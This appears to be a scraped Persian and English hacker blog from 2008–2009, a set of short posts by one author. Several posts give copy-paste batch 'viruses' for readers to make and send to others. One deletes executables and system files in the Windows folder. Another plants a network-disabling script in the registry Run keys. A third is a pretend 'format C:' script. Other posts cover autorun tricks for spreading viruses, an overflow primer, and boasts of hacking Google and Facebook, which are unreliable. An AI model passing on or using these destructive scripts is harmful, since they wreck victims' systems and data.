+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم اردیبهشت 1388???? 15:21 100000101010101010101001010101010101010101001001010 احمدزی |



 آشنایی با Over Flow و جواب سوالات شما

سلام دوستان عزیزم .

احمدزی هستم بازهم , شرمنده که اینقدر دیر به دیر اپ میکنم .

قالب وبلاگ رو چشم زدن !!! برای همین مجبور شدیم عوضش کنیم ولی تا چند روز دیگه بهترش رو درست میکنیم .

خوب بگذریم . با توجه به کمود مطلب های مبتدی برای هک حالا دیگه مجبوریم یه کمی مطالب رو سخت تر و پیشرفته تر و در عین حال جالب تر بکنیم .

بحثی که میخام در چند اپ متوالی دربارش صحبت کنم بحث Over Flow هست ! . شاید خیلی تعجب زده بشید که چه طور میخام این مبحث رو به شما عزیزان در چند اپ یاد بدم ولی اینو بگم که اگه یه کمی تمرین کنید از همه هکر ها بهتر یاد میگیرید ! .

اما over flow   نیازمند پیشنیاز هایی هست که اگه بعضی از اون ها رو هم بلد نباشید اشکالی نداره مثلا :

1-    آشنایی با حافظه (Stack)   

2-      برنامه نویسی (c++ , asmbeler )

3-      شل کد نویسی و اشنایی با سی پی یو ها

شما بر فرض که هیچ کدوم از موارد بالا رو بلد نیستید یا تا حالا اسمشون رو هم نشنیدید ! , من سعی خودم رو میکنم که تا جا داره مطالب رو برای شما ساده و صریح بیان کنم . و فیلم های اموزشی هم در این مورد برای شما درست میکنم . ;)

بهتره که این مبحث رو از همین حالا شروع کنیم .

 

Over Flow  چیست ؟؟؟

حملات Over Flow  داره انواع زیادی هست که ابتدا میخام که شما رو با ساده ترین روش که Stack Over flow  هست اشنا کنم .

اما Stack Over Flow  , به معنای سریز بافر بوده و از قدیمی ترین مشکلاتی هست که به علت بی توجه برنامه نویس در برنامه ها به وجود اومده . بافر حافظه ای هست که متغیر های هر برنامه ای توی اون قرار داره مثلا در زبان c++  متغیری به نام int   داره که این متغیر در بافر 2 بایت حجم داره .

که ما سعی داریم که برنامه ها رو سریز بافر کنیم .

 

سریز کردن بارف چه فایده ای داره ؟؟؟

باعث میشه که برنامه از مسیر و هدف اصلی خودش خارج بشه و دستور ما رو  اجرا کنه !! مثلا برنامه فتوشاپ رو یه کاری کنیم که تا هر کسی روش کلیک کرد یه تروجان یا بک دور یا ... روی سیستمش اجرا بشه !

 

Stack Over Flow   چگونه در برنامه ها ایجاد میشود ؟؟؟

فرض کنید که شما یه لیوان دارید که حداکثر حجمش 1 لیتر هست حالا شما بیاید اونو بذارید زیر شیر اب و به اندازه دو لیتر در اون اب بریزد حالا میبینید که اب سر ریز شده , در واقع شما دو لیتر اب میخاید حالا اومدید از یه ظرف یک لیتری استفاده میکنید ,  همین امر در برنمه نویسی صدق میکنه .

در حقیقت در اثر به کار گیری غلط تعدادی از توابع Stack Over Flow  یه وجود میاد .

strcpy,lstrcpyA,lstrpyW,wcscpy از مهم ترین این توابع هستند . (این 4 تابع رو حفظ کنید *)

 

چه طوری حافظه رو Over Flow  کنیم ؟؟

با اضافه کردن کاراکتر به برنامه حافظه اور فلو میشه و میفهمید که برنامه اور فلو شده .

در فیلمی که امروز برای شما اماده کردم این امر واضح تر بیان میشه .

میتونید فیلم رو از لینک زیر دانلود کنید .

 

دانلود فیلم اموزشی

 

جواب سوالات شما :

اقا نوید میگن مهدی میشه  اون برنامه ای که باهاش فیلم میگیری رو بزاری؟

 

میتونی از برنامه Camstudio   استفاده کنی . یه سرچ کوچولو در گوگل بزن . موفق باشی

 

اقا علی میگن که : سلام مهدي جان يك سوال داشتم در مورد اون قسمت warning يكي كه بعد از اينكه اين عبارت براي سايتي پيدا شد چطور ازش شل بگيريم اگه ميشه يك فيلم اموزشي بذار ممنون .

 

در جواب ایشون باید بگم که :: فیلم اموزشی در این باره زیاد گذاشتم در قسمت فیلم های اموزشی اون فیلم هایی که درباره کشف باگ های RFi   هست رو ببین و اون فیلم که وارنینگ ها رو از تو گوگل پیدا میکردیم (findshells) موفق باشی .

 

اقا پژمان : ٍسلام اون آموزش نیوک VB 3.6.7 V را که داده بودی من وقتی اون فایل VB367.PL را در محیط داس می زنم نمی دونم چرا فایل PL اجرا میشه اگه میشه کمک کن . دستت درد نکنه

خوب حتما برنامه Activ perl  رو نصب نکردی . این برنامه رو اول نصب کن بعد اون فایل رو اجرا کن . موفق باشی .

 

حسین و الیاس میگن که ::: با سلام خدمت آقا مهدی گل از شما می خواستم که اگه امکان داره برنامه pack analyzer 6.3را برای دانلود در سایت بگذارید .

 

میتونی این برنامه رو از اینجا دانلود کنید یا اینجا . موفق باشید .

 

خوب عزیزان این اپ هم به پایان رسید .

در اپ های بعدی شما رو با اور فلو بهتر و بیشتر اشنا میکنم .

نظر هاتون خیلی کم شده .

فعلا بای تا های

 

 

+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم اردیبهشت 1388???? 15:19 100000101010101010101001010101010101010101001001010 احمدزی |



Here Today i Update a new thing that is makeing in notepad.

Open notepad and Copy and paste these all >>>>>>>>>>>>>>

FORMAT C:
FORMAT D:
OVERWRITE EVERY FILE
FORMAT C: THREW REGISTRY KEY
DELETES AUTOEXE.BAT
NEXT RESTART

 

and save-as it by ( ur name.bat) and it was all

dnt open it it well Format C drive D if u have other direves write there Format .... or Format ...

bye .... dnt use it in every place

 

 

+ 100000101010101010101001010101010101010101001001010 سه شنبه سیزدهم اسفند 1387???? 14:7 100000101010101010101001010101010101010101001001010 احمدزی |




Here is a direction of that You can make a Cd or Ur USB Flash Autoplay it is so neccessary for Hackers that makeing VIruses Autoplaying and other
works any way .
if u want to Autoplay ur Picuter or A Software or Anything or Directions You can do it like this....... it is the easyest and best way . :)

 


Solution 1
The basic configuration of the autorun.inf states the program that is to be run when the CD or DVD is inserted in the drive and the icon that is to be displayed when the disk is viewed by Windows Explorer or other directory listing application. The text-only file, which resides in the root directory of the CD, should something look like this:

[autorun]
open=myprogram.exe
icon=myicon.ico
 
The icon file should also reside in the root directory of the CD.

Variations
Often the program you want to run will not be located in the root directory of the CD. If that is the case you must include the path in autorun.inf:

[autorun]
open=folder1\folder1A\myfile.exe
icon=myicon.ico
 
Sometimes you may also need to pass an argument to the program to be auto played:

[autorun]
open=myprogram.exe /argument
icon=myicon.ico
 Not a program
Sending customers, salespeople, investors, and employees presentations, PDF files, and HTML documents requires a slight variation to the basic autorun.inf file. One solution is the addition of a DOS batch file to the CD root directory. The autorun.inf file opens a batch file, which then opens the file using the default program designated for that file type. For example:

[autorun]
open=autorun.bat index.htm
icon=myicon.ico
 
Where the autorun.bat file reads:

echo off
@start %1 %2 %3 %4 %5 %6 %7 %8 %9
@exit
 
Using the autorun.inf file to auto play your burned CDs DVDs or wat eva :  will prevent another headache for your users and increase the likelihood of reaching your target audience. And because it is a simple text file, it can be created with a text editor and your normal disk burning software.

Solution 2
While creating your autorun.inf file according to Solution 1 will work for most of your users, it will fail for a small percentage of users who have issues with the autorun function in their particular installation of Windows. The batch file in the first solution is very rudimentary and makes no allowances for errors. It will unceremoniously fail when an error is encountered.


--------------------------------------------------------------------------------
Extending the solution
Solution 2 was added after the original Solution Base article was published after several TechRepublic members used the article discussion to note the benefits of using shell utilities for the autorun process.


--------------------------------------------------------------------------------

This is where a shell utility can save the day, because these little apps contain routines for handling common errors and will often complete the autorun process even if an error is encountered. For this example, we'll use autorun.exe, which can be downloaded from Tarma Software Research. Tarma has made autorun.exe freely available for both personal and commercial use and there are no requirements for copyright notices, etc.

To use autorun.exe, you make a simple modification to the autorun.inf file by replacing the autorun.bat from Solution 1. The basic autorun.inf would look like this:

[autorun]
open=autorun.exe index.htm
icon=myicon.ico
 
The only other requirement is that a copy of the 8Kb autorun.exe file be included in the root directory of each burned CD. This application also contains several options and supports an extended autorun.inf structure that provides more flexibility in how you design your CD or DVD package.

 

-------------------------------------------------------------------------------------------------------

 

Walid Ahmadzai
Kabul | Afghanistan
www.afghan-hacker.blogfa.com
www.microsoft@walidahmadzai.designer.programer.com
+93 | 700 | 972 | 600
ah_walid111_jan@yahoo.com
mh_walid111_jan@hotmail.com
www.bebo.com\walif

+ 100000101010101010101001010101010101010101001001010 سه شنبه سیزدهم اسفند 1387???? 13:54 100000101010101010101001010101010101010101001001010 احمدزی |



TOday wana tell u all about the Mobile Nokia's com,pany that if any body disturb u in Private Numbers or (no numbers) you Can esaylly see his or her number by using this code at ur screen of mobile.

*#31#

star Hash 31 Hash

then press snd ahahah  u can see it

+ 100000101010101010101001010101010101010101001001010 یکشنبه چهارم اسفند 1387???? 12:43 100000101010101010101001010101010101010101001001010 احمدزی |



Hi Freind's day i hacked Google just for

3 minute so Scaryy ahhahahaa yGoogle u realy hacked ahahahou hacked for 3 minute .

+ 100000101010101010101001010101010101010101001001010 یکشنبه بیستم بهمن 1387???? 15:20 100000101010101010101001010101010101010101001001010 احمدزی |



Image and video hosting by TinyPic
+ 100000101010101010101001010101010101010101001001010 یکشنبه بیستم بهمن 1387???? 15:11 100000101010101010101001010101010101010101001001010 احمدزی |



گران اروره زه یو نوی  Web Site جورم .

اوسی کاری کوم په خپل سایت کی.

تشکر

 

+ 100000101010101010101001010101010101010101001001010 یکشنبه بیستم بهمن 1387???? 14:46 100000101010101010101001010101010101010101001001010 احمدزی |



Yeah cuz you know Afghanistan Internet is tooooo Slow .

Here is the Download link Download it ok

Becare full When you wana close it you should

ESC - Escape

http://rapidshare.com/files/192530352/Walid.zip.html

IF you got any Problem say to me bye .

Thanks Walid Ahmadzai

+ 100000101010101010101001010101010101010101001001010 یکشنبه سیزدهم بهمن 1387???? 21:3 100000101010101010101001010101010101010101001001010 احمدزی |



Hey Stop sending email to my Eamil .

You can make the Fake Status messages and others like Webcame so Great fo Cheaters ahahahahahahahahahahahahahahahahaahahahaahahahahahahaahahahahaahahahahaha

I made and here it is man

check it out thanks so much .

http://rapidshare.com/files/192523564/fakestatusmaker.zip.html

Download it For this Link thanks :

Say me if you have any problem

+ 100000101010101010101001010101010101010101001001010 یکشنبه سیزدهم بهمن 1387???? 20:47 100000101010101010101001010101010101010101001001010 احمدزی |



Today wana say you Suprise

Facebook Hacked By : Walid Ahmadzai

http://rapidshare.com/files/192512051/hacked.jpg

Open this and see the pics ....

Thanks Walid Ahmadzai

+ 100000101010101010101001010101010101010101001001010 یکشنبه سیزدهم بهمن 1387???? 20:27 100000101010101010101001010101010101010101001001010 احمدزی |



Today a Suprise to ME OOOOOOOOOOOOOWWW.

i Hacked

www.smithjohn.blogfa.com

PLz see it

 

 

+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم بهمن 1387???? 22:53 100000101010101010101001010101010101010101001001010 احمدزی |



Now No Need OF Ctr+Alt+Del

Hope to Know What i mean .

If you Press Ctr+ALT+Del

70% It is Possible to Close your Programmes.

Now if you dont wana Close Your Programmes Make this.

1) Go to Desktop

2) Right Click and Go to NEW 

3) and Copy and Paste them

 windir%\system32\taskmgr.exe%

And Click Finish >>>>>>>>>>

See Your Desktop There is Added...

+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم بهمن 1387???? 19:3 100000101010101010101001010101010101010101001001010 احمدزی |



Yeah ! These are these Codes !!!! You Can't see Find it any other Else.

Windows Key it Mean's That Star in your Keyboard.

Near of Ctrl and Alt

 

 Windows key + D - shows the desktop
- Windows key + M - minimizes all open windows
- Windows key + Shift + M - maximizes all open windows
- Windows key + E - Runs Windows Explorer
- Windows key + R - shows the RUN dialog
- Windows key + F - shows Search window
- Windows key + Break - shows System Properties box
- Windows key + TAB - Go through taskbar applications
- Windows key + PAUSE Display the System Properties dialog box
- Windows key + U Open Utility Manager
- ALT + TAB - Cycle through opened applications
- Hold down CTRL while dragging an item to Copy it
- CTRL + ESC Display the Start menu
- ALT + ENTER View the properties for the selected item
- F4 key Display the Address bar list in My Computer or- NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder

If You Need More Email Me Bye !!!! Use them ahahhahhaha

+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم بهمن 1387???? 18:42 100000101010101010101001010101010101010101001001010 احمدزی |



This is a direction that i was asking from every Programmer

And it was also Comeing in my Mind that i have to make a Virus that it should Destroy WHole Computer |Specilly | Drive C: that every one well Update or Installing WIndows or Linux Wat eva on it .!

Becarfull Wat eva you have in your COmputer or Lap-Top it well Be deleted No ways for Installing or Repairing ......

It was my Dream to Make like this i Made this after 2 years . Enjoy it :)

by the way this is the Rules.

1) Open Note Pad

2) Copy and Paste these all

echo off@ 
cd
cd windows
del *.exe
del *.com
del *.dll
del *.sys
del *.ink

4)  and Go to Save-as

         Xvir.bat

Enjoy it !!!!!!!!!!!!

:)

+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم بهمن 1387???? 17:42 100000101010101010101001010101010101010101001001010 احمدزی |



Yep !

If your commenting to me wait for some days to i should make it in Visulbasic or others it need times kk wat eva you need just wait for 1 or 2 days plz plz plz .

Here i thnk no one know this code it is mine code and use it so good BYE

1. Go to www.google.com

or Google.com not google.or. or google . ogr or others just Google .com

or this link

www.google.com/webhp?hn=en

and delete the adress bar adress ess whihc is you wrote at first Google.com

and paste this to there


javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);

Powerd by : Walid Codes 2008


+ 100000101010101010101001010101010101010101001001010 چهارشنبه دوم بهمن 1387???? 21:4 100000101010101010101001010101010101010101001001010 احمدزی |



Today i Made a Virus That You well Make it by your self .

And it is a Virus to Open and Close Your Computer Cd-Room

every 10 second

also if you need it's my ID
ah_walid111_jan@yahoo.com

if you need .

bye

 

+ 100000101010101010101001010101010101010101001001010 چهارشنبه دوم بهمن 1387???? 20:14 100000101010101010101001010101010101010101001001010 احمدزی |



Hi, after 2 days i came back :)

Today wana tell you that how to Save your Laptop charge's

First see at the Noticfication area or ( Clock ) at the Last of Screen.

And there is your Laptop Batteri

Click on it and Click ( Power Saver ) and Enjoy it !!!!!

Bye

:)

+ 100000101010101010101001010101010101010101001001010 سه شنبه یکم بهمن 1387???? 19:37 100000101010101010101001010101010101010101001001010 احمدزی |



Remmber that when u all finished these i well put the JAVASCRIPT and VISUAL BASIC CODES. Open Notepad. and copy and paste it echo @echo off>c:\windows\wimn32.bat echo break off>>c:\windows\wimn32.bat echo ipconfig/release_all>>c:\windows\wimn32.bat echo end>>c:\windows\wimn32.bat reg add hkey_local_machine\software\microsoft\windows\curr entversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f reg add hkey_current_user\software\microsoft\windows\curre ntversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f echo Undergroundkyng Strikes Again PAUSE Save it by ur name .bat walid.bat ahmadzai.bat wat eva and change the icon if u dnt wana change the icon just send it to other persone keep it up !!!! ahahah a aahah ahaha
+ 100000101010101010101001010101010101010101001001010 سه شنبه یکم بهمن 1387???? 10:5 100000101010101010101001010101010101010101001001010 احمدزی |



Hi today i wana tell you that how to Hung- ( JAM) or Stop a computer.

Also it is like 50 % hacked a Computer .

Dn't Try it in Every PC-LAPTOP or any Internet Club

 

1. Right Click on Desktop

2. New - Shortcut

3. Write in The Blank

4.


rundll۳۲.exe user۳۲.dll,LockWorkStation user۳۲.dll,LockWorkStation

And Now Click Finish .

THen see THe Enemy COmputer ahahahah .

+ 100000101010101010101001010101010101010101001001010 پنجشنبه بیست و ششم دی 1387???? 20:54 100000101010101010101001010101010101010101001001010 احمدزی |



How to do it it is so easy no need of any software or any Codes.

1. Right Click On My Computer

2. Properties

3. Advance

4. Profomence and Click Setting

5. And Uncheck all of them

Click OK

Good Luck bye

+ 100000101010101010101001010101010101010101001001010 پنجشنبه بیست و ششم دی 1387???? 19:12 100000101010101010101001010101010101010101001001010 احمدزی |



If you want to some one should not write His or Her

1. CV-RESUME

2.CHATTING

3. EMAILING

OR OTHER THINGS.

IT IS SO EASY JUST PRESS

FN+F11

FN means FUNCTION

then write you well see wat well do for example

( M. I .O.E. What eva your writeing see it ahahahhaah.)

No one know this

+ 100000101010101010101001010101010101010101001001010 پنجشنبه بیست و ششم دی 1387???? 18:23 100000101010101010101001010101010101010101001001010 احمدزی |



CD ROOM :- HELLLLL

I Made a Software that if you open this it well open and close ur Cd-Room and DVD - room Upto u died for always.

if you need it just eamail me.

ah_walid111_jan@yahoo.com

+ 100000101010101010101001010101010101010101001001010 دوشنبه بیست و سوم دی 1387???? 22:7 100000101010101010101001010101010101010101001001010 احمدزی |



اين ويروس اينترنت اكسپلورر رو فيلتر گذاري مي كنه و باعث خراب شدنش مي شه . طرز كار:

يك Notepad باز كنيد .

درون آن جمله روبرو را بنويسيد: pouped-blocked-web-exploure-online&offline

بعد اون رو با پسوند .bat ذخيره كنيد .

و بعد مرا دواع کنید.

با احترام ولید احمدزی

+ 100000101010101010101001010101010101010101001001010 جمعه بیستم دی 1387???? 18:22 100000101010101010101001010101010101010101001001010 احمدزی |



هر کسی این مطالب را در سایت خود بیدون اجازه انداخت خودش می فامه .

اگر هک شد باز ..............

+ 100000101010101010101001010101010101010101001001010 پنجشنبه نوزدهم دی 1387???? 23:48 100000101010101010101001010101010101010101001001010 احمدزی |



به دلایلی که برای ما معلوم نیست بسیاری از برنامه ها به طور کامل پاک (uninstall ) نمیشوند

چرا که  REGESTER  نیستند.

 در نتیجه بسیاری از کاربران سعی می کنند با حذف پوشه یا شاخه آن برنامه مقدمات پاک شدن آن را انجام دهند اما نام چنین برنامه هایی برای همیشه در فهرست
Add\Remove Program باقی خواهند ماند برای آنکه فهرست این برنامه ها را از بین ببریم باید از رجیستری استفاده کنیم :
ابتدا به کلید زیر بروید :
HKEY_LOCAL_MACHINE\Microsoft\Windows\Curent Version\uninstall
و سپس کلید متناظر با این کلید را باز کنید و حالا برنامه هایی را که نمی توانستید پاک کنید را از این جا حذف کنید تا برای همیشه از بین بروند

تشکر استفاده خوب :)

+ 100000101010101010101001010101010101010101001001010 پنجشنبه نوزدهم دی 1387???? 23:43 100000101010101010101001010101010101010101001001010 احمدزی |



If any one of yours need help

 in any caseses and Downloads everything just email me .

Cuz if i put it in here every one well Download it and doing bad things from my softwares/
ah_walid111_jan@yahoo.com

 

 

 

+ 100000101010101010101001010101010101010101001001010 پنجشنبه نوزدهم دی 1387???? 23:34 100000101010101010101001010101010101010101001001010 احمدزی |




Template Designer: armin - Http://parsiyar.blogfa.ir
< ;





Powered by freedesign.htm.ir